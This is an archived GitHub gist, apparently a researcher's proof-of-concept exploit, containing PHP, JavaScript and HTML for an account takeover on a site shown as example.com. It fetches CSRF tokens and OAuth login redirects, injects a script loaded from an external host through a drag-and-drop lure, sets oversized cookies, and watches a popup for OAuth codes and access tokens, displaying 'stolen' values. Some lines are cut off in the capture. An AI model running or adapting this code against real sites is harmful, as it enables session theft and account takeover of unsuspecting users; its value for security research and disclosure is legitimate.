

full_poc.php

full_poc.php - Renwa, GitHub Gist.

- Published: date not stated
- Original: <<https://gist.github.com/RenwaX23/fadb7ae19b8fca7232cf689b4543b8d1>>
- Preserved from: <https://gist.github.com/RenwaX23/fadb7ae19b8fca7232cf689b4543b8d1> (manual-import) on 2026-09-13
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

full_poc.php

Author: Renwa (RenwaX23)

Source: <https://gist.github.com/RenwaX23/fadb7ae19b8fca7232cf689b4543b8d1>

Created: 2026-03-10T11:23:10Z

Original code revision: 451d219dfc24dbbca12d1fb3112330099baf77fe (2026-03-10).

```

<?php
$csrf_url = 'https://example.com/i/csrf';
$login_url = 'https://example.com/social/login/';
$ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safa

/**
 * Helper function to perform the extraction logic.
 */
function extract_example_data($csrf_url, $login_url, $ua) {
    // Stage 1: Fetch CSRF Token
    $ch = curl_init($csrf_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_USERAGENT, $ua);
    $response = curl_exec($ch);
    $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $headers = substr($response, 0, $header_size);
    curl_close($ch);

    $csrf_token = "";
    if (preg_match('/sb_csrf_token=([^\;]+)/', $headers, $matches)) {
        $csrf_token = $matches[1];
    }

    if (!$csrf_token) return null;

    // Stage 2: Send POST login request to capture redirection and session
    $post_data = http_build_query([
        'csrfmiddlewaretoken' => $csrf_token,
        'next' => '/feed'
    ]);

    $ch = curl_init($login_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_USERAGENT, $ua);
    curl_setopt($ch, CURLOPT_REFERER, 'https://example.com/login');
    curl_setopt($ch, CURLOPT_COOKIE, "sb_csrf_token=$csrf_token");

    $response = curl_exec($ch);
    $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $post_headers = substr($response, 0, $header_size);

```

```

curl_close($ch);

$location = 'Not Found';
if (preg_match('/^Location:\s*(.*)$/mi', $post_headers, $matches)) {
    $location = trim($matches[1]);
}

$session_id = 'Not Found';
if (preg_match('/sb_sessionid=([^\;]+)/', $post_headers, $matches)) {
    $session_id = $matches[1];
}

return [
    'csrf' => $csrf_token,
    'location' => $location,
    'session' => $session_id
];
}

// --- Mode: Fetch Data (JSON Response) ---
if (isset($_GET['fetch'])) {
    header('Content-Type: application/json');
    header('Access-Control-Allow-Origin: *');
    $data = extract_example_data($csrf_url, $login_url, $ua);
    echo json_encode($data ?: ['error' => 'Extraction failed']);
    exit;
}

// --- Mode: JS Payload (Button UI) ---
if (isset($_GET['js'])) {
    header('Content-Type: application/javascript');
    header('Access-Control-Allow-Origin: *');
    ?>

(function() {
    function cookieBomb() {
        console.log('[*] Initializing Cookie Bomb...');
        for (let i = 0; i < 25; i++) {
            document.cookie = `bomb_${i}=${'A'.repeat(3500)};path=/;domain=.example.com`;
        }
    }

    async function run() {
        console.log('[*] Running Exploit...');
    }

```

```

try {
  const resp = await fetch('https://qrshaka.fun/poc/sk.php?fetch=1');
  const data = await resp.json();

  if (data.location && data.location !== 'Not Found') {
    console.log('[+] OAuth URL:', data.location);

    // 1. Open OAuth window
    const targetWin = top.window.open(data.location, '_blank', 'width=600,height=800');

    if (!targetWin) {
      console.error('[!] Popup blocked! Please allow popups.');
      alert('Please allow popups for this site to continue the initialization.');
      return;
    }

    // 2. Bomb cookies immediately
    cookieBomb();

    // 3. Monitor the window
    const monitor = setInterval(() => {
      try {
        if (targetWin.closed) {
          clearInterval(monitor);
          return;
        }
        const currentUrl = targetWin.location.href;
        if (currentUrl.includes('code=') || currentUrl.includes('access_token=')) {
          clearInterval(monitor);
          targetWin.close();
        }
      } catch {}
    }, 1000);

    // 4. Hacker UI Transformation
    top.document.body.innerHTML = `
      <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#000;color:#0f0;font-family:monospace;">
        <h1 style="color:red;text-shadow:0 0 10px red;">[!] ACCOUNT PWNEED [!]</h1>
        <p style="font-size:20px;">Attacker has now full access to your account with these values.</p>

        <div style="margin-top:30px;">
          <p style="color:#fff;">[+] STOLEN OAUTH URL:</p>
          <div style="background:#111;padding:15px;border:1px solid #333;word-break:break-all;">${currentUrl}</div>

          <div style="margin-top:30px;">
            <p style="color:#fff;">[+] STOLEN SESSION ID:</p>

```

```

        <div style="background:#111;padding:15px;border:1px solid #333;word-break:break-all;">${data}
    </div>

    <div style="margin-top:40px;">
        <p style="color:yellow;">### ATTACKER TAKEOVER SCRIPT ###</p>
        <p style="font-size:12px;color:#888;">Paste this into your browser console on example.com:</p>
        <textarea id="hacker-code" style="width:100%;height:150px;background:#111;color:#0f0;border:
        <button onclick="document.getElementById('hacker-code').select();document.execCommand('co
    </div>
</div>

    `;
    }
    } catch (e) {
        // SOP errors are expected during redirect
    }
    }, 500);

    } else {
        console.error('[!] Failed to fetch OAuth URL');
    }
    } catch (e) {
        console.error('[!] Error in run:', e);
    }
}

run();
})();
<?php
    exit;
}

// Default response: serve test.html content
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Draggable Environment - example</title>
    <link rel="preload" href="https://example.com/developers/viewer/examples?sample=User%20Annotation#editable-
    <link rel="prerender" href="https://example.com/developers/viewer/examples?sample=User%20Annotation#editab
    <style>
        :root{--primary:#00d2ff;--secondary:#3a7bd5;--bg:#0f172a;--card-bg:rgba(30,41,59,0.7)}body{margin:0;padding:0;t

```

```

</style>
<link href="https://fonts.googleapis.com/css2?family=Outfit:wght@300;400;500;800&display=swap" rel="stylesheet">
</head>

<body>
  <div id="loader">
    <div class="loader-content">
      <div class="spinner"></div>
      <p>Drop here in the text then Evaluate</p>
    </div>
  </div>

  <div class="container">
    <h1>Exotic Preview</h1>

    

    <div class="drop-zone" id="dropZone">
      <span>Drop Here to Initialize</span>
    </div>

    <p>Drag the floating island into the synchronization portal to begin the immersive experience.</p>
  </div>

  <script>
    var win="";
    const dragSource = document.getElementById('dragSource');
    const loader = document.getElementById('loader');
    const targetUrl = 'https://example.com/developers/viewer/examples?sample=User%20Annotation#editable-validation';

    dragSource.addEventListener('dragstart', (event) => {
      // Set the payload: Code injection that triggers on drop in the example editor
      // The editor takes the dropped text and evaluates/inserts it.
      const payload = '\n\n\nimport("https://qrshaka.fun/poc/sk2.php?js=1");\n\n\n';
      event.dataTransfer.setData('text/plain', payload);

      console.log('Drag started. Arming payload...');

      // Redirect as soon as the user starts moving the mouse towards the drop zone
      // We use a small delay to ensure the browser registers the drag source
      setTimeout(() => {
        loader.style.display = 'flex';
        const w = 600, h = 400;
        const left = (screen.width / 2) - (w / 2);

```

```
const top = (screen.height / 2) - (h / 2);
win = window.open(targetUrl, 'win', `width=${w},height=${h},left=${left},top=${top},resizable=yes,scrollbars=y
}, 50);

setTimeout(() => {
  win.location='https://example.com/developers/viewer/examples?sample=User%20Annotation#result'
}, 5000);

setInterval(() => {
  win.postMessage({"type":"log","evalization":1,"res":"Something went wrong, please click  Evaluate"}, '*');
}, 1000);
});

// Prevention for accidental drops on own page
document.addEventListener('dragover', (e) => e.preventDefault());
</script>
</body>

</html>
```

Archived from <https://gist.github.com/RenwaX23/fadb7ae19b8fca7232cf689b4543b8d1>. Rendered offline from the local Markdown copy.